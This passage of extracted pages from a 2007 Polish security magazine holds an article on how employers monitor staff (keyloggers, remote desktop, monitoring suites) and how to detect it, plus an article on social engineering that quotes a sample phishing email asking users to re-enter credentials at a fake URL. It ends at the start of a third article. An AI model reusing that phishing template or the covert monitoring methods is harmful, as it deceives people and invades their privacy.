Sposoby podglądania

Nasi  pracodawcy  mogą  podglądać  naszą 
pracę  na  wiele  różnych  sposobów,  ale  będą 

wybierać głównie te, które są proste w imple-
mentacji,  tanie  oraz  dokładnie  pokażą,  czy 
i ile pracujemy. Do ich arsenału będą należały 
wszelkie  programy  do  zdalnego  podglądania 
zawartości dysków, keyloggery, systemy mo-
nitorowania  działające  podobnie  jak  zdalny 
pulpit  czy  systemy  statystyk  pracy.  Oczywi-
ście inwigilacja będzie też obejmowała naszą 
aktywność w Internecie – od historii ostatnio 
odwiedzonych  stron,  przez  logi  z  wszyst-

Inwigilacja w pracy

Krzysztof Marzec

stopień trudności

Wszechobecny monitoring stał się znakiem naszych czasów. 

Idąc na spacer do miasta łapiemy się w kadr kilkunastu kamer 

- zaś nasza działalność w Internecie jest pod stałą obserwacją 

zbierających dane robotów. Przyjrzyjmy się zatem czym 

dysponuje nasz pracodawca w walce z naszym lenistwem i 

układaniem pasjansa.

Z artykułu dowiesz się

•   czy Twój szef podsłuchuje Cię w pracy,
•   jakie są najpopularniejsze metody inwigilacji,
•   jak wykryć podglądacza,
•   jak skutecznie zabezpieczyć się przed inwigi-

lacją,

•   czy podsłuchiwanie jest legalne.

Co powinieneś wiedzieć

•   znać  podstawowe  zagadnienia  systemów 

operacyjnych,  m.in.  przeglądać  listę  procesów 
systemowych, wyszukiwać pliki na dysku, anali-
zować aktywne połączenia sieciowe.

background image

Inwigilacja w pracy

hakin9 Nr 7/2007

www.hakin9.org

47

kich  połączeń  oraz  przeglądanie 
zawartości  elementów  wysłanych 
i  otrzymanych  w  naszej  firmowej 
skrzynce.

Załóżmy,  że  istnieje  bardzo  du-

ża  i  bardzo  źle  traktująca  swoich 
pracowników firma. Przyjrzyjmy się 
dokładnie,  co  administratorzy  jej 
systemów  mogą  zrobić  z  danymi 
przeciętnego pracownika.

Podglądanie 

dokumentów

Najprostsza  z  technik  inwigila-
cyjnych  polega  na  zwykłym  pod-
glądaniu  zawartości  dokumentów 
znajdujących  się  na  naszym  kom-
puterze. Administrator może zdalnie 
przeglądać  pliki  podejrzanego  pra-
cownika  bądź  za  pomocą  modułu 
w programie do zdalnego zarządza-
nia  komputerem,  bądź  analizując 
kopie zapasowe na serwerze. Jeśli 
właśnie  przygotowywaliśmy  sobie 
CV  do  wysłania  do  następnego 
pracodawcy,  to  jest  duża  szansa, 
że  wpadnie  ono  w  ręce  obecnego, 
zanim  zdążymy  je  gdziekolwiek 
wysłać. Wniosek jest prosty – prze-
chowywanie  prywatnych  plików  na 
komputerze w firmie nie jest dobrym 
pomysłem.

Pamiętajmy,  że  zwykłe  we-

wnętrzne  hasła,  jakimi  zabezpie-
czamy  nasze  dokumenty  są  do-
syć  łatwe  do  złamania.  Jeśli  na-
zwa  pliku  jest  odpowiednio  podej-
rzana,  a  administrator  dysponu-
je  odpowiednią  ilością  czasu,  bę-
dzie  mógł  odszyfrować  hasło  me-
todą brute– force. Przy wyborze te-
go typu zabezpieczenia trzeba ko-
niecznie pamiętać o długim i skom-
plikowanym haśle.

Keyloggery

Keyloggery  to  programy,  które 
potrafią  zapisać  każdy  wpisany 
znak  z  klawiatury  do  pliku.  Obec-
nie  keyloggery  potrafią  stwierdzić, 
czy  dane  słowo  było  wpisywane 
w edytorze tekstu, czy też jako ad-
res  w  przeglądarce.  Pamiętają  za-
tem każdy nasz mail, każde miłosne 
wyznanie i każde hasło. Zastosowa-
nie  keyloggera  nawet  przez  jeden 
dzień  na  komputerze  przeciętnego 

pracownika  da  administratorom 
dostęp  do  jego  prywatnej  poczty, 
konta komunikatora czy konta ban-
kowego. A co, jeśli administrator ma 
za dużo czasu? Może wówczas czy-
tać rozmowy z komunikatorów oraz 
przeglądać  wyrażane  na  forach 
opinie o kierownictwie firmy.

Keyloggery  wcale  nie  musza 

być  zainstalowanymi  programami 
– istnieją keyloggery sprzętowe. Są 
to  małe  urządzenia,  wyglądające 
jak zwykła przełączka do kabla kla-
wiatury.  W  swojej  pamięci  potrafią 
przechowywać  wszystkie  wpisy-
wane  znaki,  natomiast  specjalne 
oprogramowanie potrafi je z takiego 
urządzenia odczytać. Jest to dosyć 
radykalne  rozwiązanie,  nadające 
się raczej do filmów szpiegowskich, 
ale  warto  mieć  świadomość  jego 
istnienia.

Monitoring pracy 

– zdalny pulpit

Zdalny  pulpit  jest  niesamowicie 
przydatnym narzędziem – pozwala 
na zarządzanie komputerem i pra-
cę  na  nim  zupełnie  tak,  jakbyśmy 
przy  nim  właśnie  siedzieli.  Za-
zwyczaj  jego  instalacja  składa  się 
z  dwóch  komponentów  –  aplikacji 
głównej na komputerze administra-
tora  oraz  klienta  na  komputerze, 

jaki  ma  być  monitorowany.  Użycie 
programu  do  podglądania  czyjejś 
pracy jest dosyć proste w realizacji 
i pozwala na pełny monitoring jego 
aktywności. Logując się na czyjąś 
maszynę,  co  jest  dla  osoby  pod-
glądanej  działaniem  niezauważal-
nym,  widzimy  dokładnie  jak  rusza 
myszką, co pisze, jakie okienka ma 
otwarte  i  jaki  film  właśnie  ogląda. 
Systemy takie pozwalają często na 
pobranie pliku, który właśnie wypa-
trzyliśmy u kogoś na pulpicie. Pro-
gram  ów  działa  zatem  tak,  jakby 
ktoś  cały  czas  stał  za  naszym  ra-
mieniem i patrzył na naszą pracę. 
Przerażające,  prawda?  Owszem, 
nikt nie monitoruje ciągle naszego 
komputera, ale sama świadomość, 
że  być  może  właśnie  teraz  jeste-
śmy na podglądzie, może być moc-
no stresująca.

Statystyki pracy

Nawet  w  tym  momencie  każda 
przyciśnięta  literka  jest  dodawa-
na  przez  mój  Google  Desktop  do 
wszystkich  znaków  dziś  wciśnię-
tych. Wieczorem zobaczę, czy mo-
że pobiłem rekord. To samo z klik-
nięciem  prawym  i  lewym  przyci-
skiem  myszy  (średnio  klika  się  30 
razy  więcej  lewym).  Również  pro-
gram  Windows  Uptime  sprawdza, 

Rysunek 1. 

To mały i zgrabny keylogger sprzętowy. Czy taka przełączka nie 

jest przypadkiem wpięta w Twojego firmowego PC?

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

48

jak  długo  mój  komputer  dziś  był 
włączony  i  przez  jaką  część  tego 
czasu był nieużywany. Lubię zbie-
rać takie dane. Ale co stałoby się, 
gdyby  takimi  danymi  dysponował 
mój  szef?  Dokładne  daty  włącze-
nia  i  wyłączenia  komputera,  daty 
odejścia od maszyny na dłużej niż 
5 minut. Wolałbym nie słuchać py-
tań, dlaczego danego dnia napisa-
łem 10.000 znaków, a innego tylko 
2.000. Jednak takie oprogramowa-
nie istnieje i być może właśnie te-

raz mierzy, ile czasu Twój kompu-
ter nie pracuje, gdy czytasz ten ar-
tykuł. Lepiej więc poruszaj myszką 
– pomyśli, że pracujesz.

Komunikatory

Prywatność rozmów za pomocą ko-
munikatorów  prowadzonych  w  pra-
cy jest praktycznie zerowa. Admini-
strator może je podsłuchiwać i logo-
wać na różne sposoby: każdy napi-
sany wyraz będzie zalogowany przy 
wysyłaniu  z  komputera,  gdyż  wie-

le  komunikatorów  nie  szyfruje  da-
nych. Dodatkowo keylogger zapisze 
wszystkie wstukiwane literki, a mo-
że  administrator  podglądający  nas 
na zdalnym pulpicie też dołączy się 
do pogaduszek? 

Wiele osób nie zdaje sobie rów-

nież  sprawy  z  tego,  że  aby  dostać 
się  do  archiwum  wiadomości  oraz 
listy  kontaktów  popularnego  komu-
nikatora  Gadu-Gadu  nie  potrzeba 
wcale znajomości hasła, gdyż dane 
te  znajdują  się  w  niezaszyfrowa-
nych plikach. 

Poczta firmowa

Czytanie  poczty  ze  skrzynki  fir-
mowej  to  jeden  z  najczęściej  spo-
tykanych  sposobów  inwigilowania 
pracowników. Był to jeden z pierw-
szych  sposobów,  który  wzbudził 
duże  kontrowersje  i  spowodował 
medialną  dyskusję  o  inwigilacji 
w  pracy.  Niestety  –  wiele  firm  za-
strzega  w  regulaminie  pracy,  że 
skrzynka firmowa nie może być wy-
korzystywana do prywatnych celów 
i  firma  ma  pełne  prawo  do  wglądu 
we  wszystkie  wiadomości.  Wiado-
mości  są  podglądane  oczywiście 
zdalnie,  na  serwerze.  Spotykane 
są  też  analizatory,  czyli  programy, 
które  szukają  w  mailach  ciągów 
znaków – np.: zawierających nazwy 
konkurencyjnych firm czy monitoru-
jące  adresy,  pod  jakie  poczta  jest 
wysyłana.  Ponieważ  często  poczta 
prywatna jest wysyłana z niezabez-
pieczonych  skrzynek  bez  szyfro-
wania,  należy  się  liczyć  z  tym,  że 
może ona zostać przeczytana przez 
osoby trzecie.

Sprawdzone 

systemy firmowe

Na szczęście nie ma firm, w których 
poziom inwigilacji byłby tak wysoki, 
by używał wszystkich powyżej opi-
sanych  opcji.  Firmy  korzystają  ra-
czej  ze  sprawdzonych  zintegrowa-
nych systemów do monitoringu sta-
cji  roboczych.  Dwie  dosyć  popular-
ne w Polsce to UpLook (www.uplo-

ok.net)  i  OkoSzefa  (www.okosze-

fa.pl).  Pierwszy  z  nich  pozwala 
sprawdzić, czy oprogramowanie za-
instalowane  na  komputerze  jest  na 

Rysunek 2. 

Program UpLook Zrzut ekranu programu UpLook

Rysunek 3. 

Statystyka odwiedzonych stron WWW w programie Oko Szefa

background image

Inwigilacja w pracy

hakin9 Nr 7/2007

www.hakin9.org

49

pewno  legalne,  monitorować  pro-
cesy  oraz  je  wyłączać,  podglądać 
ekran  użytkownika,  przeglądać  do-
kładną  historię  aktywności  w  Sieci 
oraz ma moduł opisanych już wcze-
śniej statystyk czasu pracy i przerw. 
Drugi  –  Oko  Szefa,  pozwala  sta-
le  monitorować  i  zapisywać  zrzu-
ty  ekranu  ze  zdalnie  podglądanych 
komputerów. Oferuje też możliwość 
komunikacji  z  użytkownikami  pod-
glądanych maszyn. Program potra-
fi także blokować dostęp do witryn, 
usuwać tapetę, a nawet.. synchroni-
zować zegar systemowy. 

Wykryć podglądacza 

i zabezpieczyć się przed nim

Rozmowa  kontrolowana  rozmowa 
kontrolowana.  Kiedyś  taki  sygnał 
oznajmiał dzwoniącym, że są nagry-
wani  lub  podsłuchiwani.  W  pracy,  o 
tym, że jesteśmy inwigilowani dowia-
dujemy się zwykle już za późno – na 
dywaniku u szefa. Jak wcześniej wy-
kryć,  że  ktoś  nas  podsłuchuje?  Jak 
zabezpieczyć się przed taką inwigi-
lacją?  Porady  opisane  tutaj  mogą 
przydać się również w domu czy ka-
wiarence internetowej.

Jeśli  mamy  jakieś  dokumenty 

na  dysku,  które  chcemy  tam  ko-
niecznie przechować, a nie życzy-
my sobie, żeby ktokolwiek do nich 
zaglądał,  to  najprostszym  sposo-
bem  jest  ich  spakowanie.  Stwo-
rzenie  za  pomocą  programu  Win-
Rar  archiwum  zabezpieczonego 
hasłem  o  odpowiednim  stopniu 
skomplikowania to popularny spo-
sób  zabezpieczenia  dokumentów. 
Potrzeba dobrej maszyny i długie-
go  czasu,  żeby  złamać  takie  ha-
sło.  Inny  sposób  –  bardziej  pre-
wencyjny – to noszenie wszystkich 
ważnych dokumentów na dyskach 
przenośnych. Każdy program zapi-

sujący  naszą  aktywność  na  kom-
puterze  musi  gdzieś  przechowy-
wać  dane.  Proste  keyloggery  za-
pisują  je  w  niezakodowanych  pli-
kach  na  dysku.  Google  Desktop 
bez  problemu  odnajduje  takie  pli-
ki.  Każdy  prosty  monitor  systemu 
może  nam  pokazać  nagły  wzrost 
w  pracy  dysku,  Sieci  czy  proce-
sora.  Jeśli  w  danej  chwili  nic  nie 
robiliśmy,  można  spodziewać  się, 
że ktoś właśnie podłączył się pod 
zdalny  pulpit  albo  kopiuje  dane  z 
naszego dysku. 

Większość programów do inwi-

gilacji pracuje zdalnie i odłączenie 
Sieci na chwilę, np. na jedno uło-
żenie pasjansa, spowoduje, że nikt 
tego nie podejrzy. Wszelkie próby 
podsłuchania rozmów w komunika-
torach  bądź  czytania  prywatnych 
maili  za  pomocą  analizy  pakie-
tów  wysyłanych  przez  nasz  kom-
puter  możemy  udaremnić,  stosu-
jąc  połączenia  szyfrowane.  Prze-
jęciu hasła za pomocą keyloggera 
przeciwdziałamy, stosując wirtual-
ną klawiaturę. 

Litery wybiera się wtedy za po-

mocą myszki z klawiatury wyświe-
tlanej na ekranie. Ten sposób na-
leżałoby  praktycznie  zawsze  sto-
sować  w  kawiarenkach  interneto-
wych.  Co  jednak  ze  zdalnym  pul-
pitem?  Jeśli  mamy  taką  możli-
wość  –  stosujmy  po  prostu  roz-
mowy  głosowe.  Przy  standardo-
wych  prawach  dostępu,  window-
sowym  poleceniem  netstat  wypi-
szemy  wszystkie  połączenia  na-
szego komputera w Sieci. Ich ana-
liza pozwoli sprawdzić, z kim łączy 
się nasza maszyna. Do tych dzia-
łań  dochodzą  również  możliwości 
analizowania aktywnych procesów 
w systemie i sprawdzenia każdego 
z  nich  w  Internecie.  Programy  do 
inwigilacji, szczególnie te najwięk-
sze, są już dokładnie rozpracowa-
ne  i  sposoby  na  każdy  z  nich  już 
opisano.

Nie lubimy 

podglądaczy!

Mimo że nikt z nas nie lubi być pod-
glądany i sama myśl o tym, że ktoś 
inwigiluje  naszą  pracę  nas  irytu-

je,  to  niekiedy  nic  na  to  nie  może-
my  poradzić.  Wiele  firm  w  umo-
wach  zawiera  punkty  pozwalające 
im  na  monitorowanie  naszej  pra-
cy. Niewątpliwie nasza prywatność 
jest często naruszana, czy to przez 
nadgorliwych  administratorów  czy 
też przez bardzo dociekliwych sze-
fów.  Według  prawników  takie  nad-
użycia jak czytanie prywatnej kore-
spondencji są niezgodne z prawem 
i  w  przypadku  ewentualnego  spo-
ru sąd pracy mógłby stanąć po na-
szej stronie. Piotr Waglowski, autor 
znanego prawniczego serwisu pra-

wo.valga.pl  pisze:  Na  podstawie 
Europejskiej Konwencji Praw Czło-
wieka,  ratyfikowanej  przez  Polskę 
w 1993 r., każdy ma prawo do po-
szanowania  swojego  życia  prywat-
nego  i  rodzinnego  (...)  i  swojej  ko-
respondencji.  Każdy.  Nie  wyłącza-
jąc  pracowników.  Prywatność  na 
szczeblu  europejskim  chroni  rów-
nież  dyrektywa  o  przetwarzaniu 
danych  osobowych  i  ochronie  pry-
watności  w  sektorze  telekomuni-
kacyjnym,  a  w  Polsce:  Konstytu-
cja, ustawa o ochronie danych oso-
bowych,  kodeks  cywilny,  kodeks 
karny  oraz  kodeks  pracy.  (http:

//prawo.vagla.pl/node/6270). 

W  dalszej  części  swojego  arty-

kułu  autor  zaznacza,  że  prowadząc 
podsłuch i uzyskując dostęp do pry-
watnych danych pracownika, praco-
dawca  może  być  oskarżony  o  zwy-
kły  hacking,  jego  działania  mogą 
więc  być  uznane  za  zwykłe  prze-
stępstwo. 

Pamiętajmy jednak, że często w 

umowie o pracę znajdzie się punkt, 
że  zobowiązujemy  się  wykorzysty-
wać  sprzęt  firmowy  tylko  do  celów 
związanych  z  pracą.  Zachowując 
się nie fair możemy sprawić, że pra-
codawca,  nawet  bez  specjalistycz-
nego  oprogramowania  do  inwigila-
cji,  może  zauważyć  nasze  lenistwo 
i wyciągnąć konsekwencje. I na ko-
niec  mała  rada  dla  wszystkich  pra-
codawców: zrelaksowany pracownik 
pracuje  wydajniej;  grajmy  w  otwar-
te karty, a wszystkim będzie się ży-
ło lepiej. l

O autorze

Autor jest specjalistą SEO/SEM i od 6 
lat zajmuje się wprowadzaniem firm do 
Internetu oraz sprzedażą online. Obec-
nie pracuje w firmie Deva Group.
Kontakt z autorem: 
krzysztof.marzec@deva.com.pl

background image

www.hakin9.org

hakin9 Nr 7/2007

50

Obrona

socjotechnice nie ma żadnej magii. 

Socjotechnik  wykorzystuje  te  sa-

me  metody  przekonywania,  jakich 

używamy  każdego  dnia.  Wcielamy  się  w  róż-

ne role. Staramy się budzić zaufanie. Tworzy-

my wzajemne zobowiązania. Ale w przeciwień-

stwie do większości z nas, socjotechnik stosu-

je te metody w manipulacyjny, oszukańczy, wy-

soce nieetyczny sposób, często powodując ka-

tastrofalne skutki

socjolog dr Brad Sagarin

Statystyczny  człowiek  odbiera  bodźce  ze-
wnętrzne w sposób automatyczny i naturalny. 
Można  jednak  spowodować  wysyłanie  bodź-
ców w sposób absolutnie świadomy.

Jak  bronić  się  przed  wpływem  tych  bodź-

ców, które zostały zaplanowane i służą jedynie 
osiąganiu partykularnych interesów?

Zachowania  ludzi  można  pogrupować  w 

sześć  podstawowych  reguł  psychologicznych, 
sterujących  przebiegiem  ludzkiego  postępo-
wania:

•   reguła  wzajemności  –  wymaga  od  ludzi, 

aby  za  otrzymane  od  drugiej  osoby  dobro 
odwdzięczyć się w podobny sposób,

•   reguła  zaangażowania  i  konsekwencji  –  w 

myśl tej zasady ludzie po dokonaniu wybo-
ru lub zajęciu stanowiska w jakiejś sprawie, 
później zachowują się konsekwentnie i zgod-
nie z tym, w co wcześniej zaangażowali się,

•   reguła  społecznego  dowodu  słuszności 

– głosi, że to, w co wierzą lub jak zachowu-
ją się inni ludzie, często jest podstawą na-
szych własnych decyzji,

•   reguła lubienia i sympatii – zgodnie z tą za-

sadą, ludzie wolą mówić tak tym osobom, 
które lubią i znają,

•   reguła autorytetu – oznacza, że ludzie ule-

gają  autorytetom,  ponieważ  autorytety 

Zagrożenia 

socjotechniczne a 

bezpieczeństwo informacji 

Andrzej Guzik

stopień trudności

Ataki socjotechniczne są najtrudniejsze do wykrycia i obrony. 

Ofiara ataku często nie wie, że została zaatakowana, stąd 

trudność w skutecznej obronie. Jedyne, co można zrobić, to 

kształtować świadomość zagrożeń oraz opracować odpowiednie 

procedury bezpieczeństwa.

Z artykułu dowiesz się

•   co to jest cykl socjotechniczny,
•   jakie są typowe metody socjotechniczne,
•   jak zapobiegać atakom socjotechnicznym.

Co powinieneś wiedzieć

•   znać  podstawy  systemu  zarządzania  bezpie-

czeństwem informacji.

background image

Zagrożenia socjotechniczne

hakin9 Nr 7/2007

www.hakin9.org

51

cechuje  wiedza,  mądrość  i  wła-
dza,

•   reguła niedostępności – mówi, że 

ludzie  przypisują  większą  war-
tość  tym  możliwościom,  które 
stają się niedostępne.

Na pierwszy rzut oka przedstawione 
zasady  wydają  się  oczywiste  i  pro-
ste. Wykorzystując je w sposób nie-
świadomy,  nie  wiemy,  czy  wywiera-
my wpływ na innych. Natomiast wy-
korzystując  je  w  sposób  świadomy, 
zwiększamy  prawdopodobieństwo 
osiągnięcia zamierzonego rezultatu.

Oprócz komunikacji werbalnej na-

rzędziem służącym do osiągania ce-
lu jest komunikacja niewerbalna. We-
dług Alberta Mehrabiana, niemieckie-
go naukowca, 7 procent informacji po-
chodzi ze słów, 35 procent z tonu gło-
su,  natomiast  aż  55  procent  z  języ-
ka  ciała.  Na  komunikację  niewerbal-
ną  składają  się  nasze  zachowania  i 
gesty, tony, półtony, postawy i nastro-
je.  Na  ich  podstawie  można  odgad-
nąć  prawdziwe  intencje  rozmówcy,  a 
nawet  przewidzieć,  jak  się  za  chwilę 
zachowa.

Musimy  zdawać  sobie  sprawę  z 

tego,  że  sygnały  niewerbalne  mogą 
być  również  narzędziem  manipula-
cji  wykorzystywanym  przez  socjo-
technika.

Socjotechnik, planując swój atak, 

a chcąc pozyskać wrażliwe informa-
cje,  stosuje  reguły,  których  wszy-
scy  używamy  na  co  dzień.  Odgry-
wa swoją rolę. Próbuje tworzyć wia-
rygodność,  stara  się  zaprzyjaźnić 
ze  swoją  ofiarą.  Z  taką  jednak  róż-
nicą,  że  robi  to  manipulując,  oszu-
kując.  Działa  w  sposób  nieetyczny, 
tak, aby osiągnąć swój cel i odnieść 
korzyść. 

Najczęściej obiektem ataku socjo-

technicznego  jest  nieświadomy  pra-
cownik,  pracownik  posiadający  spe-
cjalne  przywileje  lub  pracownik  klu-
czowego działu instytucji. Socjotech-
nik,  po  zdobyciu  informacji,  porzuca 
swoją ofiarę i poluje na następną.

Cykl  socjotechniczny  składa  się 

z  czterech  faz.  Faza  pierwsza  –  to 
rozpoznanie  celu  ataku,  faza  druga 
– budowanie więzi i zaufania ofiary, 
faza  trzecia  –  wykorzystanie  zaufa-
nia ofiary i faza czwarta – wykorzy-
stanie zdobytych informacji. 

Dobry socjotechnik stosuje sztu-

kę  oszukiwania  wykorzystując  naj-
lepsze cechy natury ludzkiej: skłon-
ność człowieka do gotowości udzie-
lania  pomocy,  do  uczynności  czy 
ofiarności. 

Atakom socjotechnicznym sprzy-

ja  niska  świadomość  zagrożeń 
wśród pracowników oraz brak szko-
leń.  W  większych  firmach  czynni-
kiem  ułatwiającym  atak  jest  duża 

liczba  pracowników  i  wiele  lokaliza-
cji instytucji.

Informacje  pozostawione  w  po-

czcie  głosowej  mogą  również  uła-
twiać  atak.  Podobnie  jak  wewnętrz-
ne  numery  telefoniczne  udostęp-
niane  nieświadomie  na  stronach 
WWW.

Dobrą  praktyką  sprzyjającą 

ochronie  informacji  w  organizacji 
jest opracowanie i zakomunikowanie 
wszystkim  pracownikom  wykazu  in-
formacji, które podlegają ochronie.

Obrona przed atakiem socjotech-

nicznym  jest  najtrudniejsza.  Często 
nie wiemy, że zostaliśmy zaatakowa-
ni. Stąd trudność w skutecznej obro-
nie. Tak naprawdę nie istnieje tech-
nologia, która mogłaby zapobiec ata-
kowi socjotechnicznemu.

Jak  w  przypadku  innych  zagro-

żeń,  ochrona  przed  zagrożeniami 
socjotechnicznymi  polega  przede 
wszystkim  na  zrozumieniu  metod 
stosowanych przez przeciwnika.

Przykładem typowego ataku so-

cjotechnicznego  jest  udawanie  pra-
cownika  tej  samej  instytucji,  ofero-
wanie  pomocy  w  razie  wystąpienia 
problemu,  udawanie  kogoś,  kto  ma 
władzę,  udawanie  nowego  pracow-
nika proszącego o pomoc czy uda-
wanie przedstawiciela dostawcy, fir-
my partnerskiej lub instytucji rządo-
wej.

W dobie komunikacji elektronicz-

nej możemy spotkać się z prośbą o 
odebranie faksu i przesłanie go da-
lej, prośbą o przesłanie pliku do lo-
kalizacji, która wydaje się wewnętrz-
na,    prośbą  o  zainstalowanie  prze-

Rysunek 1. 

Cykl socjotechniczny

Rozpoznanie

Wykorzystanie

informacji

Wykorzystanie

zaufania

Budowanie

więzi i zaufania

Przykład ataku socjo-

technicznego na użyt-

kowników poczty.

Drodzy użytkownicy poczty xxx

Ze względu na to, że do 25.07.2006 

cały system pocztowy ma być przenie-
siony na inny serwer, muszą państwo 
ponownie  wprowadzić  swoje  dane  do 
bazy  xxx.  Jeżeli  nadal  chcą  państwo 
korzystać z naszych usług, proszę po-
stępować według poniższej instrukcji:

•   wejść na stronę 

www.informator.home.pl/
administracja-xxx.php

•   uzupełnić formularz
•   po  zatwierdzeniu  formularza  dane 

zostaną  przekazane  do  bazy  da-
nych systemu xxx.

Od 25.07.2006 będą się państwo logo-
wali  na  stronie  nowymi  danymi.  Dlate-
go należy je zapamiętać. Za problemy 
i utrudnienia przepraszamy!!! 

W  razie  problemów  proszę  pisać 

na adres xxx-informacja@xxx.pl

Administracja xxx

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

52

słanego  pocztą  elektroniczną  dar-
mowego oprogramowania, które ma 
nas  ochronić  przed  określonym  za-
grożeniem.

Często  twórcy  stron  interneto-

wych  oferują  nam  nagrodę  za  reje-
strację  na  stronie  internetowej,  pro-
sząc  o  podanie  loginu  i  hasła.  Ilu  z 
nas zadaje sobie trud i wymyśla nie-
standardowy  login  i  hasło.  Więk-
szość  z  nas  nieświadomie  podaje 
swoje dane, które na co dzień wyko-
rzystuje przy logowaniu się do firmo-
wych zasobów. Stąd już tylko jeden 
krok,  który  dzieli  socjotechnika  od 
naszych informacji.

Powinniśmy  pamiętać,  aby  w 

przypadku  spotkania  się  z  nietypo-
wą prośbą odmówić jej spełnienia do 
czasu pozytywnej weryfikacji tożsa-
mości proszącego.

Profilaktyka 

(środki zaradcze)

Zapobieganie atakom socjotechnicz-
nym w organizacji wymaga szeregu 
skoordynowanych działań.

W  pierwszej  kolejności  należy 

opracować  politykę  klasyfikacji  da-
nych,  określić,  które  informacje  na-
leży  chronić  –  najlepiej  w  postaci 
ich wykazu oraz opracować i wdro-
żyć  stosowne  procedury  bezpie-
czeństwa.

Po  drugie,  w  celu  kształtowania 

świadomości bezpieczeństwa wśród 
pracowników należy prowadzić sys-
tematycznie  teoretyczne  i  praktycz-
ne szkolenia (minimum raz, a najle-
piej dwa razy w ciągu roku) z zakre-
su  metod  przeciwdziałania  atakom 
socjotechnicznym.

W  trakcie  szkoleń  należy  uświa-

damiać  pracownikom  potencjalną 
możliwość  wystąpienia  ataku  socjo-
technicznego.  Pracownicy  na  ogół 
nie czują zagrożeń, wydaje im się, że 
są odporni na typowe ataki socjotech-
niczne, stąd poczucie tzw. fałszywe-

go bezpieczeństwa. Rodzi się tu pyta-
nie, czy faktycznie jesteśmy zagroże-
ni atakiem socjotechnicznym?

Jak  wynika  ze  statystyk,  właści-

wym pytaniem jest jednak - kiedy na-
stąpi atak. Chodzi o to, aby nie dać 
się zaskoczyć i być przygotowanym 
na  jego  odparcie.  Program  szkole-

nia  pracowników  powinien  obejmo-
wać analizę typowych źródeł ataków 
socjotechnicznych,  takich  jak:  roz-
mowa telefoniczna, fax, e-mail, stro-
na WWW czy kontakt osobisty oraz 
ukazywać metody obrony. W czasie 
szkolenia należy przedstawić poten-
cjalne skutki ataku, w postaci strat fi-
nansowych,  utraty  prestiżu,  utraty 
konkurencyjności instytucji czy utra-
ty  prywatności  pracowników  –  wy-
ciek danych osobowych, itp.

W  celu  sprawdzenia  stanu  bez-

pieczeństwa organizacji oraz podat-
ności  pracowników  na  ataki  socjo-
techniczne  wskazane  jest  okreso-
we  przeprowadzanie  audytów  bez-
pieczeństwa.

Skuteczność powyższych działań 

zależy w głównej mierze od ustano-
wienia jasnych, prostych i zwięzłych 
procedur  bezpieczeństwa  oraz  cią-
głego motywowania pracowników do 
ich  przestrzegania.  Polityka  bezpie-
czeństwa  organizacji  powinna  znie-
chęcać  do  odstępowania  od  proce-
dur bezpieczeństwa poprzez system 
kar i nagród. Należy wpoić pracowni-
kom zakaz udostępniania informacji, 
za wyjątkiem informacji publicznych, 
do  momentu  pozytywnej  weryfika-
cji  tożsamości  proszącego.  Weryfi-
kacja,  weryfikacja  i  jeszcze  raz  we-
ryfikacja  tożsamości  pytającego,  to 
podstawa skutecznego zapobiegania 
atakom socjotechnicznym.

Po  czym  można  poznać,  że  na-

stąpił  atak  socjotechniczny?  Zna-
kiem ostrzegawczym może być oka-
zywanie  przez  pytającego  posiada-
nia  władzy,  wymienianie  wielu  na-
zwisk,  podkreślanie  pilności  spra-
wy, okazywanie niechęci w przypad-
ku  zadawania  przez  nas  pytań,  od-
mowa  podania  swojego  numeru  te-
lefonu,  nietypowa  prośba  czy  gro-
żenie konsekwencjami w przypadku 
niepodporządkowania  się  prośbie, 
itd. Często socjotechnik wykorzystu-
je komplementy, pochlebstwa, a na-
wet usiłuje flirtować.

Należy  również  zwrócić  szcze-

gólną  uwagę  na  pracowników  firm 
wykonujących  usługi  sprzątania  i 
usługi  ochrony  fizycznej.  Organiza-
cje bardzo często dość liberalnie po-
stępują  w  tych  kwestiach.  Powinni-

śmy pamiętać o podpisaniu przez fir-
my i ich pracowników zobowiązań o 
poufności oraz o przeszkoleniu pra-
cowników  wykonawcy  usług  w  za-
kresie  procedur  bezpieczeństwa 
obowiązujących w instytucji. Szcze-
gólną uwagę należy zwrócić na kwe-
stie  związane  z  kontrolą  dostępu  i 
samym dostępem osób nieuprawnio-
nych na teren organizacji.

Jedyną  tak  naprawdę  skutecz-

ną  metodą  ochrony  przed  atakiem 
socjotechnicznym  jest  zastosowa-
nie  zabezpieczeń  technologicznych 
w  kombinacji  z  procedurami  bez-
pieczeństwa.  Procedury  te  powinny 
określać podstawowe zasady zacho-
wania się pracowników.

Podsumowanie

Jak  wiemy,  z  jednej  strony  czynnik 
ludzki  stanowi  najsłabszy  element 
systemu bezpieczeństwa, zaś z dru-
giej  strony  jest  jego  najsilniejszym 
ogniwem. Jedynie te instytucje, któ-
re  zainwestowały  w  kapitał  ludz-
ki mogą czuć się bezpiecznie, gdyż 
bezpieczeństwo informacji to przede 
wszystkim stan świadomości. l

O autorze

Andrzej  Guzik  -  audytor  systemów 
zarządzania  jakością  i  bezpieczeń-
stwem informacji, specjalista w zakre-
sie ochrony informacji prawnie chronio-
nych, redaktor portalu 
www.ochronainformacji.pl
Kontakt z autorem: 
a.guzik@ochronainformacji.pl

Literatura

•  Robert  Cialdini,  Wywieranie 

wpływu  na  innych.  Teoria  i 

praktyka,  Gdańskie  Wydaw-
nictwo Psychologiczne, 2003

•  Kevin D. Mitnick, William L. Simon, 

Łamałem  ludzi,  nie  hasła.  Sztuka 
podstępu,
  Wydawnictwo  Helion, 
2003

•  Kevin D. Mitnick, William L. Simon, 

Sztuka infiltracji, Wydawnictwo Al-
batros Andrzej Kuryłowicz

•  Andy Collins, Mowa ciała. Co zna-

czą nasze gesty?, Oficyna Wydaw-
nicza Rytm 

background image
background image

www.hakin9.org

hakin9 Nr 7/2007

54

Obrona

C

o jesteśmy w stanie zrobić, by spowol-
nić analizę binarnej postaci programu? 
Można  tutaj  zastosować  szereg  popu-

larnych technik zapobiegania inżynierii wstecz-
nej.  W  niniejszym  artykule  zamierzamy  przed-
stawić powszechnie stosowane (a także niektó-
re trochę rzadziej wykorzystywane) techniki an-
ty-RE. Zakładamy tu, że czytelnik posiada pew-
ne doświadczenie w analizie i modyfikacji plików 
binarnych. Jeżeli zdołasz wykorzystać treść ar-
tykułu w maksymalnym stopniu, twoje programy 
staną się prawdopodobnie bardziej odporne na 
inżynierię wsteczną; zrozumiesz także, że ana-
liza  malware'u  będzie  w  przyszłości  wymagać 
rozległej wiedzy, jako że złośliwe programy sta-
ją się coraz bardziej skomplikowane.

Terminologia

